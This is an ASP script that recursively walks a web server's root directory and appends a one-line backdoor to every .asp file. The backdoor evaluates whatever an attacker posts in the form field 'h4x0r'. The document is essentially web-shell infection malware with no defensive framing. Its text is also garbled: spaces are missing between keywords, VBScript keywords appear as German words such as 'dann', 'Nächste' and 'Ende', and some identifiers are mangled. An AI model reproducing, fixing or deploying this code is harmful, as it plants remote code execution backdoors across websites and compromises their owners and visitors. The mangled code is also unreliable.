<%
Dimph
Dimintfile
Server.ScriptTimeout = 600
PH = Server.Mappath ("/")
SubinsertallFiles (Pfad)
Setfso = createObject ("scripting.filesystemObject")
onErrorresumeNext
Setf = fso.getFolder (Pfad)
Setfc2 = f.files
ForeachmyFileInfc2
IFLCase (fso.GetExtensionName (Path & "" & myFile.name)) = "ASP" dann
Setfs1 = createObject ("scripting.FilesystemObject")
Settle = fs1.opentextfile (Path & "" & myfile.name, 8, falsch)
tFile.WriteLine "<scripttrunat = serverluage = javaScript> eval (request.form ('h4x0r')+'') </script>"
anders
InsertAllFiles (NewPath)
Endif
tfile.close
Nächste
Setfsubfolers = f.SubFolders
Foreachf1infsubfolers
newpath = path & "" & f1.name
InsertAllFiles (NewPath)
Nächste
Settle = nichts
Setfso = nichts
Ende
%>
<%
CallinsertallFiles (pH)
%>